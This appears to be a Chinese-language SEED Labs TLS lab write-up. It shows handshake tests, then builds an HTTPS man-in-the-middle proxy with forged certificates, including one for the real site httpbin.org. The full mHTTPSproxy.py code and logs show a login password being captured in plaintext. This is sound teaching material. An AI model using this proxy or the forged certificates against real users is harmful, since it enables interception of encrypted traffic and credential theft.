10.9.0.5 www.example60.com
10.9.0.5 www.example70.com
# For CSRF Lab
10.9.0.5 www.csrflabelgg.com
10.9.0.5 www.csrflab-defense.com
10.9.0.105 www.csrflab-attacker.com
# For Shellshock Lab
10.9.0.80 www.seedlab-shellshock.com
# TLS Lab
10.9.0.43 vaultattic2026.cn
10.9.0.43 www.vaultattic2026.cn
10.9.0.43 test.vaultattic2026.cn
10.9.0.43 abc.bank32.com
[06/16/26]seed@VM:~/.../volumes$
返回服务器容器,重新运行 server.py 脚本。
root@75c146f25aac:/volumes# ./server.py
TLS 服务器已启动,监听 443 端口...
运行之前的测试脚本 handshake.py 进行测试:
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'issuer': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'Vaultattic Test CA'),)),
'notAfter': 'Jun 13 17:02:39 2036 GMT',
'notBefore': 'Jun 16 17:02:39 2026 GMT',
'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
'subject': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'vaultattic2026.cn'),)),
'subjectAltName': (('DNS', 'vaultattic2026.cn'),
('DNS', 'www.vaultattic2026.cn'),
('DNS', 'test.vaultattic2026.cn'),
('DNS', '*.bank32.com')),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: vaultattic2026.cn
HTTP 请求已发送,正在接收服务器响应...
[b'HTTP/1.1 200 OK',
b'Content-Type: text/html',
b'',
b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
b'rver.</p>\n</body>\n</html>\n']
服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py www.vaultattic2026.cn
目标服务器: www.vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'issuer': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'Vaultattic Test CA'),)),
'notAfter': 'Jun 13 17:02:39 2036 GMT',
'notBefore': 'Jun 16 17:02:39 2026 GMT',
'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
'subject': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'vaultattic2026.cn'),)),
'subjectAltName': (('DNS', 'vaultattic2026.cn'),
('DNS', 'www.vaultattic2026.cn'),
('DNS', 'test.vaultattic2026.cn'),
('DNS', '*.bank32.com')),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: www.vaultattic2026.cn
HTTP 请求已发送,正在接收服务器响应...
[b'HTTP/1.1 200 OK',
b'Content-Type: text/html',
b'',
b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
b'rver.</p>\n</body>\n</html>\n']
服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py test.vaultattic2026.cn
目标服务器: test.vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'issuer': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'Vaultattic Test CA'),)),
'notAfter': 'Jun 13 17:02:39 2036 GMT',
'notBefore': 'Jun 16 17:02:39 2026 GMT',
'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
'subject': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'vaultattic2026.cn'),)),
'subjectAltName': (('DNS', 'vaultattic2026.cn'),
('DNS', 'www.vaultattic2026.cn'),
('DNS', 'test.vaultattic2026.cn'),
('DNS', '*.bank32.com')),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: test.vaultattic2026.cn
HTTP 请求已发送,正在接收服务器响应...
[b'HTTP/1.1 200 OK',
b'Content-Type: text/html',
b'',
b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
b'rver.</p>\n</body>\n</html>\n']
服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py abc.bank32.com
目标服务器: abc.bank32.com
目标端口: 443
CA 证书目录: ./client-certs
正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...
正在进行 TLS 握手...
TLS 握手完成。
使用的 TLS 协议版本:
TLSv1.3
客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
服务器证书信息:
{'issuer': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'Vaultattic Test CA'),)),
'notAfter': 'Jun 13 17:02:39 2036 GMT',
'notBefore': 'Jun 16 17:02:39 2026 GMT',
'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
'subject': ((('countryName', 'US'),),
(('stateOrProvinceName', 'NewYork'),),
(('localityName', 'Syracuse'),),
(('organizationName', 'SEEDLab'),),
(('commonName', 'vaultattic2026.cn'),)),
'subjectAltName': (('DNS', 'vaultattic2026.cn'),
('DNS', 'www.vaultattic2026.cn'),
('DNS', 'test.vaultattic2026.cn'),
('DNS', '*.bank32.com')),
'version': 3}
准备发送 HTTP 请求,按回车继续...
发送的 HTTP 请求为:
GET / HTTP/1.0
Host: abc.bank32.com
HTTP 请求已发送,正在接收服务器响应...
[b'HTTP/1.1 200 OK',
b'Content-Type: text/html',
b'',
b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
b'rver.</p>\n</body>\n</html>\n']
服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$
全部成功。
5 任务 3: 一个简单的 HTTPS 代理
实验原理
正常 TLS 通信:
MITM 攻击下的 TLS 通信:
代理程序 mHTTPSproxy.py 的核心逻辑是将 TLS 客户端和 TLS 服务器集成在一起:
下面实验使用前面创建的 vaultattic2026.cn 作为自己的服务器,httpbin.org 作为真实网站。
环境准备
建立伪造证书目录:
mkdir proxy-certs
[06/16/26]seed@VM:~/.../volumes$ mkdir proxy-certs
[06/16/26]seed@VM:~/.../volumes$
为 vaultattic.cn 伪造证书,创建配置文件 fake_vaultattic.cnf:
[06/16/26]seed@VM:~/.../volumes$ vim fake_vaultattic.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext
[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = Fake
CN = vaultattic2026.cn
[req_ext]
subjectAltName = @alt_names
[alt_names]
DNS.1 = vaultattic2026.cn
DNS.2 = www.vaultattic2026.cn
生成证书:
openssl req -newkey rsa:2048 \
-config fake_vaultattic.cnf \
-batch -sha256 \
-keyout proxy-certs/vaultattic.key \
-out proxy-certs/vaultattic.csr \
-nodes
openssl x509 -req \
-in proxy-certs/vaultattic.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
-CAcreateserial \
-out proxy-certs/vaultattic.crt \
-days 3650 -sha256 \
-extensions req_ext \
-extfile fake_vaultattic.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
> -config fake_vaultattic.cnf \
> -batch -sha256 \
> -keyout proxy-certs/vaultattic.key \
> -out proxy-certs/vaultattic.csr \
> -nodes
openssl x509 -req \
-in proxy-certs/vaultattic.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
-CAcreateserial \
-out proxy-certs/vaultattic.crt \
-days 3650 -sha256 \
-extensions req_ext \
-extfile fake_vaultattic.cnfGenerating a RSA private key
............................................................+++++
.................................+++++
writing new private key to 'proxy-certs/vaultattic.key'
-----
[06/16/26]seed@VM:~/.../volumes$
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
> -in proxy-certs/vaultattic.csr \
> -CA client-certs/ca.crt \
> -CAkey client-certs/ca.key \
> -CAcreateserial \
> -out proxy-certs/vaultattic.crt \
> -days 3650 -sha256 \
> -extensions req_ext \
> -extfile fake_vaultattic.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = Fake, CN = vaultattic2026.cn
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$
为 httpbin.org 伪造证书,创建 fake_httpbin.cnf:
[06/16/26]seed@VM:~/.../volumes$ vim fake_httpbin.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext
[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = Fake
CN = httpbin.org
[req_ext]
subjectAltName = @alt_names
[alt_names]
DNS.1 = httpbin.org
生成证书:
openssl req -newkey rsa:2048 \
-config fake_httpbin.cnf \
-batch -sha256 \
-keyout proxy-certs/httpbin.key \
-out proxy-certs/httpbin.csr \
-nodes
openssl x509 -req \
-in proxy-certs/httpbin.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
-CAcreateserial \
-out proxy-certs/httpbin.crt \
-days 3650 -sha256 \
-extensions req_ext \
-extfile fake_httpbin.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
> -config fake_httpbin.cnf \
> -batch -sha256 \
> -keyout proxy-certs/httpbin.key \
> -out proxy-certs/httpbin.csr \
> -nodes
openssl x509 -req \
-in proxy-certs/httpbin.csr \
-CA client-certs/ca.crt \
-CAkey client-certs/ca.key \
Generating a RSA private key
-CAcreateserial \
-out proxy-certs/httpbin.crt \
-days 3650 -sha256 \
-extensions req_ext \
-extfile fake_httpbin.cnf...............+++++
.................................................................+++++
writing new private key to 'proxy-certs/httpbin.key'
-----
[06/16/26]seed@VM:~/.../volumes$
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
> -in proxy-certs/httpbin.csr \
> -CA client-certs/ca.crt \
> -CAkey client-certs/ca.key \
> -CAcreateserial \
> -out proxy-certs/httpbin.crt \
> -days 3650 -sha256 \
> -extensions req_ext \
> -extfile fake_httpbin.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = Fake, CN = httpbin.org
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$
在 server.py 中加入登录表单,以便代理捕获密码:
[06/16/26]seed@VM:~/.../volumes$ vim server.py
#!/usr/bin/env python3
import socket, ssl
# 登录页面
html_form = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>vaultattic.cn Login</h1>
<form method="POST" action="/login">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
"""
# 登录成功页面
html_login_ok = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>Login Successful</h1>
</body>
</html>
"""
SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)
print("Real TLS server listening on 443...")
while True:
newsock, fromaddr = sock.accept()
try:
ssock = context.wrap_socket(newsock, server_side=True)
data = ssock.recv(2048)
request = data.decode('utf-8', errors='ignore')
print("[server] request:", request[:200])
if 'POST /login' in request:
resp = html_login_ok.encode()
else:
resp = html_form.encode()
ssock.sendall(resp)
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()
except Exception as e:
print("Error:", e)
在 server-10.9.0.43 容器中运行它:
[06/16/26]seed@VM:~/.../volumes$ docker exec -it server-10.9.0.43 /bin/bash
root@8d4f08b3039b:/# cd volumes/
root@8d4f08b3039b:/volumes# ./server.py
Real TLS server listening on 443...
编写 mHTTPSproxy.py 代理脚本:
[06/16/26]seed@VM:~/.../volumes$ vim mHTTPSproxy.py
#!/usr/bin/env python3
import socket, ssl, threading
PROXY_PORT = 443
FAKE_DIR = './proxy-certs'
REAL_CA = '/etc/ssl/certs'
# 根据 SNI 主机名查找伪造证书
def find_fake_cert(hostname):
if hostname in ('vaultattic.cn', 'www.vaultattic.cn'):
return FAKE_DIR + '/vaultattic.crt', FAKE_DIR + '/vaultattic.key'
elif hostname == 'httpbin.org':
return FAKE_DIR + '/httpbin.crt', FAKE_DIR + '/httpbin.key'
return None, None
def handle(ssock_browser):
try:
req = ssock_browser.recv(4096)
except:
ssock_browser.close()
return
if not req:
ssock_browser.close()
return
# 提取 Host 头
req_text = req.decode('utf-8', errors='ignore')
host = None
for line in req_text.split('\r\n'):
if line.lower().startswith('host:'):
host = line.split(':', 1)[1].strip()
break
if not host:
ssock_browser.close()
return
print(f"\n[*] Request to {host}")
print("[!] Plaintext request (password if any):")
print(req_text[:2000])
# 连接真实服务器
try:
sock_server = socket.create_connection((host, 443), timeout=10)
except Exception as e:
print(f"[!] Cannot connect to real server {host}: {e}")
ssock_browser.sendall(b"HTTP/1.1 502 Bad Gateway\r\n\r\n")
ssock_browser.close()
return
# 作为客户端与真实服务器完成 TLS 握手
try:
client_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
client_ctx.load_verify_locations(capath=REAL_CA)
client_ctx.verify_mode = ssl.CERT_REQUIRED
client_ctx.check_hostname = True
ssock_server = client_ctx.wrap_socket(sock_server, server_hostname=host)
except Exception as e:
print(f"[!] Real server TLS failed: {e}")
sock_server.close()
ssock_browser.sendall(b"HTTP/1.1 502 Bad Gateway\r\n\r\n")
ssock_browser.close()
return
# 转发请求
try:
ssock_server.sendall(req)
except:
ssock_server.close()
ssock_browser.close()
return
# 从真实服务器接收响应并转发给浏览器
try:
while True:
resp = ssock_server.recv(4096)
if not resp:
break
ssock_browser.sendall(resp)
except:
pass
finally:
ssock_server.close()
ssock_browser.close()
print(f"[*] Finished {host}")
def main():
# SNI 回调:根据 SNI 加载对应伪证书
def sni_callback(sock, sni_name, old_ctx):
if sni_name is None:
return
cert, key = find_fake_cert(sni_name)
if cert:
new_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
new_ctx.load_cert_chain(cert, key)
sock.context = new_ctx
else:
print(f"[!] No fake cert for {sni_name}")
# 创建默认 SSLContext(初始证书为 vaultattic.crt,用于未触发 SNI 时)
server_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
server_ctx.load_cert_chain(FAKE_DIR+'/vaultattic.crt', FAKE_DIR+'/vaultattic.key')
server_ctx.set_servername_callback(sni_callback)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', PROXY_PORT))
s.listen(10)
print(f"[*] MITM proxy listening on {PROXY_PORT}...")
while True:
sock_browser, addr = s.accept()
print(f"[*] New connection from {addr}")
try:
ssock_browser = server_ctx.wrap_socket(sock_browser, server_side=True)
threading.Thread(target=handle, args=(ssock_browser,)).start()
except Exception as e:
print(f"[!] TLS handshake error: {e}")
sock_browser.close()
if __name__ == '__main__':
main()
添加执行权限:
[06/16/26]seed@VM:~/.../volumes$ chmod a+x mHTTPSproxy.py
[06/16/26]seed@VM:~/.../volumes$
在 mitm-proxy-10.9.0.143 容器中启动代理:
[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash
root@f4502fcd9c87:/# cd volumes/
root@f4502fcd9c87:/volumes# ./mHTTPSproxy.py
[*] MITM proxy listening on 443...
VM 虚拟机修改域名解析(之前的删掉):
10.9.0.143 vaultattic2026.cn
10.9.0.143 www.vaultattic2026.cn
10.9.0.143 httpbin.org
[06/16/26]seed@VM:~/.../volumes$ sudo vim /etc/hosts

代理机添加解析:
docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 vaultattic2026.cn' >> /etc/hosts"
docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 www.vaultattic2026.cn' >> /etc/hosts"
[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 vaultattic2026.cn' >> /etc/hosts"
[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 www.vaultattic2026.cn' >> /etc/hosts"
执行攻击并观察
窃取 vaultattic.cn 登录密码
- 在 VM 的 Firefox 中打开
https://vaultattic2026.cn。 - 会出现登录页面,输入用户名
testuser,密码testpass,点击 Login。

-
返回代理终端
root@67a92bba8f7e:/volumes# ./mHTTPSproxy.py [*] MITM proxy listening on 443... [*] New connection from ('10.9.0.1', 49700) [*] Request to vaultattic2026.cn [!] Plaintext request (password if any): GET / HTTP/1.1 Host: vaultattic2026.cn User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 [*] Finished vaultattic2026.cn [*] New connection from ('10.9.0.1', 49704) [*] Request to vaultattic2026.cn [!] Plaintext request (password if any): POST /login HTTP/1.1 Host: vaultattic2026.cn User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 35 Origin: https://vaultattic2026.cn Connection: keep-alive Referer: https://vaultattic2026.cn/ Upgrade-Insecure-Requests: 1 username=testuser&password=testpass [*] Finished vaultattic2026.cn -
发现输出
username=testuser&password=testpass,窃取成功。
攻击真实 HTTPS 网站 httpbin.org
1. 浏览器访问 `https://httpbin.org/post`(记得添加 `httpbin.org` 的证书)
- 代理终端会打印请求头,你可以看到浏览器原本加密的流量全部可见
- 浏览器正常收到响应,但受害者完全无感知